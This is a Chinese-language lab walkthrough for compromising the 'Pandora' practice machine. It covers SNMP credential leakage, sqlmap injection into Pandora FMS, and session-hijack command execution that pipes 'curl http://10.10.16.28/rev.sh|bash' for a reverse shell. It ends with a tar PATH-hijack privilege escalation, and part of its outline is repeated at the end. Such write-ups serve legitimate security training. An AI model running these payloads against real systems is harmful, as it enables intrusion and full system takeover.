Pandora 渗透测试实战教学文档<\/h1>

1. 信息收集阶段<\/h2>

1.1 目标识别<\/h3>
目标IP: 10.10.11.136<\/code><\/li>
使用的网络接口: tun0<\/code><\/li>
存活检测命令:<\/li>
<\/ul>
ip=<\/span>'10.10.11.136'<\/span>; itf=<\/span>'tun0'<\/span>; 
<\/span><\/span>if<\/span> nmap -Pn -sn "<\/span>$ip"<\/span> | grep -q "Host is up"<\/span>; then<\/span> 
<\/span><\/span>    echo -e "\e[32m[+] Target <\/span>$ip is up, scanning ports...\e[0m"<\/span>; 
<\/span><\/span>    ports=<\/span>$(<\/span>sudo masscan -p1-65535,U:1-65535 "<\/span>$ip"<\/span> --rate=<\/span>1000<\/span> -e "<\/span>$itf"<\/span> | awk '\/open\/ {print $4}'<\/span> | cut -d '\/'<\/span> -f1 | sort -n | tr '\n'<\/span> ','<\/span> | sed 's\/,$\/\/'<\/span>)<\/span>
<\/span><\/span>    if<\/span> [<\/span> -n "<\/span>$ports"<\/span> ]<\/span>; then<\/span> 
<\/span><\/span>        echo -e "\e[34m[+] Open ports found on <\/span>$ip: <\/span>$ports\e[0m"<\/span>; 
<\/span><\/span>        nmap -Pn -sV -sC -p "<\/span>$ports"<\/span> "<\/span>$ip"<\/span>; 
<\/span><\/span>    else<\/span> 
<\/span><\/span>        echo -e "\e[31m[!] No open ports found on <\/span>$ip.\e[0m"<\/span>; 
<\/span><\/span>    fi<\/span>; 
<\/span><\/span>else<\/span> 
<\/span><\/span>    echo -e "\e[31m[!] Target <\/span>$ip is unreachable, network is down.\e[0m"<\/span>; 
<\/span><\/span>fi<\/span>
<\/span><\/span><\/code><\/pre>1.2 端口扫描结果<\/h3>

22\/tcp<\/strong>: OpenSSH 8.2p1 Ubuntu 4ubuntu0.3

SSH主机密钥:

RSA: 3072 24c295a5c30b3ff3173c68d7af2b5338<\/li>
ECDSA: 256 b1417799469a6c5dd2982fc0329ace03<\/li>
ED25519: 256 e736433ba9478a190158b2bc89f65108<\/li>
<\/ul>
<\/li>
<\/ul>
<\/li>
80\/tcp<\/strong>: Apache httpd 2.4.41

HTTP标题: "Play | Landing"<\/li>
服务器头: Apache\/2.4.41 (Ubuntu)<\/li>
<\/ul>
<\/li>
161\/tcp<\/strong>: SNMP服务

操作系统信息: Linux<\/li>
<\/ul>
<\/li>
<\/ul>
2. SNMP信息泄露利用<\/h2>
2.1 SNMP查询<\/h3>
snmpwalk -v 1<\/span> -c public 10.10.11.136
<\/span><\/span><\/code><\/pre>获取到关键凭据:<\/p>

用户名: daniel<\/code><\/li>
密码: HotelBabylon23<\/code><\/li>
<\/ul>
3. TRP00F工具利用<\/h2>
3.1 使用TRP00F进行漏洞利用<\/h3>
python3 trp00f.py --lhost 10.10.16.28 --lport 10000<\/span> --rhost 10.10.16.28 --rport 10032<\/span> --http 9999<\/span>
<\/span><\/span><\/code><\/pre>当询问是否利用pkexec漏洞时选择y<\/code><\/p>
4. 横向移动与Pandora FMS利用<\/h2>
4.1 使用KTOR工具扫描<\/h3>
curl http:\/\/10.10.16.28\/ktor.sh|bash -s -- -l -p all
<\/span><\/span><\/code><\/pre>4.2 建立SSH隧道<\/h3>
ssh -L 9999:localhost:80 daniel@10.10.11.136
<\/span><\/span><\/code><\/pre>4.3 SQL注入利用<\/h3>
4.3.1 数据库枚举<\/h4>
sqlmap --url=<\/span>"http:\/\/127.0.0.1:9999\/pandora_console\/include\/chart_generator.php?session_id=''"<\/span> --batch --dbs
<\/span><\/span><\/code><\/pre>4.3.2 会话表数据提取<\/h4>
sqlmap --url=<\/span>"http:\/\/127.0.0.1:9999\/pandora_console\/include\/chart_generator.php?session_id=''"<\/span> --batch -D pandora -T tsessions_php --dump
<\/span><\/span><\/code><\/pre>获取有效会话ID: g4e01qdgk36mfdh90hvcc54umq<\/code><\/p>
4.4 利用会话执行命令<\/h3>
4.4.1 测试命令执行<\/h4>
curl -X POST "http:\/\/localhost:9999\/pandora_console\/ajax.php"<\/span> \
<\/span><\/span><\/span><\/span>-H "Host: localhost:9999"<\/span> \
<\/span><\/span><\/span><\/span>-H "User-Agent: Mozilla\/5.0 (X11; Linux aarch64; rv:91.0) Gecko\/20100101 Firefox\/91.0"<\/span> \
<\/span><\/span><\/span><\/span>-H "Accept: application\/json, text\/javascript, *\/*; q=0.01"<\/span> \
<\/span><\/span><\/span><\/span>-H "Accept-Language: en-US,en;q=0.5"<\/span> \
<\/span><\/span><\/span><\/span>-H "Accept-Encoding: gzip, deflate"<\/span> \
<\/span><\/span><\/span><\/span>-H "Content-Type: application\/x-www-form-urlencoded; charset=UTF-8"<\/span> \
<\/span><\/span><\/span><\/span>-H "X-Requested-With: XMLHttpRequest"<\/span> \
<\/span><\/span><\/span><\/span>-H "Origin: http:\/\/localhost:9999"<\/span> \
<\/span><\/span><\/span><\/span>-H "Connection: close"<\/span> \
<\/span><\/span><\/span><\/span>-H "Referer: http:\/\/localhost:9999\/pandora_console\/index.php?sec=eventos&sec2=operation\/events\/events"<\/span> \
<\/span><\/span><\/span><\/span>-H "Cookie: PHPSESSID=g4e01qdgk36mfdh90hvcc54umq"<\/span> \
<\/span><\/span><\/span><\/span>-H "Sec-Fetch-Dest: empty"<\/span> \
<\/span><\/span><\/span><\/span>-H "Sec-Fetch-Mode: cors"<\/span> \
<\/span><\/span><\/span><\/span>-H "Sec-Fetch-Site: same-origin"<\/span> \
<\/span><\/span><\/span><\/span>-d "page=include%2fajax%2fevents&perform_event_response=10000000&target=whoami&response_id=1"<\/span>
<\/span><\/span><\/code><\/pre>4.4.2 获取反向shell<\/h4>
curl -X POST "http:\/\/localhost:9999\/pandora_console\/ajax.php"<\/span> \
<\/span><\/span><\/span><\/span>-H "Host: localhost:9999"<\/span> \
<\/span><\/span><\/span><\/span>-H "User-Agent: Mozilla\/5.0 (X11; Linux aarch64; rv:91.0) Gecko\/20100101 Firefox\/91.0"<\/span> \
<\/span><\/span><\/span><\/span>-H "Accept: application\/json, text\/javascript, *\/*; q=0.01"<\/span> \
<\/span><\/span><\/span><\/span>-H "Accept-Language: en-US,en;q=0.5"<\/span> \
<\/span><\/span><\/span><\/span>-H "Accept-Encoding: gzip, deflate"<\/span> \
<\/span><\/span><\/span><\/span>-H "Content-Type: application\/x-www-form-urlencoded; charset=UTF-8"<\/span> \
<\/span><\/span><\/span><\/span>-H "X-Requested-With: XMLHttpRequest"<\/span> \
<\/span><\/span><\/span><\/span>-H "Origin: http:\/\/localhost:9999"<\/span> \
<\/span><\/span><\/span><\/span>-H "Connection: close"<\/span> \
<\/span><\/span><\/span><\/span>-H "Referer: http:\/\/localhost:9999\/pandora_console\/index.php?sec=eventos&sec2=operation\/events\/events"<\/span> \
<\/span><\/span><\/span><\/span>-H "Cookie: PHPSESSID=g4e01qdgk36mfdh90hvcc54umq"<\/span> \
<\/span><\/span><\/span><\/span>-H "Sec-Fetch-Dest: empty"<\/span> \
<\/span><\/span><\/span><\/span>-H "Sec-Fetch-Mode: cors"<\/span> \
<\/span><\/span><\/span><\/span>-H "Sec-Fetch-Site: same-origin"<\/span> \
<\/span><\/span><\/span><\/span>-d "page=include%2fajax%2fevents&perform_event_response=10000000&target=curl+http:\/\/10.10.16.28\/rev.sh|bash&response_id=1"<\/span>
<\/span><\/span><\/code><\/pre>5. 权限提升阶段<\/h2>
5.1 突破受限shell环境<\/h3>

获取用户标志: b4989b8688521476b6c5685a3b020269<\/code><\/li>
<\/ul>
5.2 通过SSH密钥横向移动<\/h3>

生成SSH密钥:<\/li>
<\/ol>
ssh-keygen
<\/span><\/span><\/code><\/pre>
将公钥放入matt用户的.ssh目录<\/li>
连接:<\/li>
<\/ol>
ssh matt@127.0.0.1
<\/span><\/span><\/code><\/pre>5.3 逆向分析\/usr\/bin\/pandora_backup<\/h3>

该文件设置了SUID位，但执行时提示权限不足<\/li>
复制文件进行分析<\/li>
<\/ul>
5.4 利用tar路径劫持<\/h3>

修改PATH环境变量:<\/li>
<\/ol>
export PATH=<\/span>\/tmp:$PATH
<\/span><\/span><\/code><\/pre>
创建恶意tar脚本:<\/li>
<\/ol>
echo -e '#!\/bin\/bash\n\/bin\/bash'<\/span> > \/tmp\/tar
<\/span><\/span><\/code><\/pre>
执行pandora_backup触发:<\/li>
<\/ol>
\/usr\/bin\/pandora_backup
<\/span><\/span><\/code><\/pre>5.5 获取root权限<\/h3>

获取root标志: 208a884a2a993e53704537085c4799d8<\/code><\/li>
<\/ul>
6. 关键工具与资源<\/h2>

TRP00F工具: https:\/\/github.com\/MartinxMax\/trp00f<\/li>
KTOR脚本: https:\/\/github.com\/MartinxMax\/KTOR\/blob\/main\/ktor.sh<\/li>
<\/ol>
7. 总结<\/h2>
本渗透测试流程展示了从信息收集到最终获取root权限的完整过程，重点利用了SNMP信息泄露、Pandora FMS的SQL注入和RCE漏洞，以及通过路径劫持实现的权限提升技术。<\/p>
Pandora 渗透测试实战教学文档<\/h1>

1. 信息收集阶段<\/h2>

2. SNMP信息泄露利用<\/h2>

3. TRP00F工具利用<\/h2>

4.3 SQL注入利用<\/h3>

5. 权限提升阶段<\/h2>

7. 总结<\/h2> 本渗透测试流程展示了从信息收集到最终获取root权限的完整过程，重点利用了SNMP信息泄露、Pandora FMS的SQL注入和RCE漏洞，以及通过路径劫持实现的权限提升技术。<\/p>

7. 总结<\/h2>
本渗透测试流程展示了从信息收集到最终获取root权限的完整过程，重点利用了SNMP信息泄露、Pandora FMS的SQL注入和RCE漏洞，以及通过路径劫持实现的权限提升技术。<\/p>
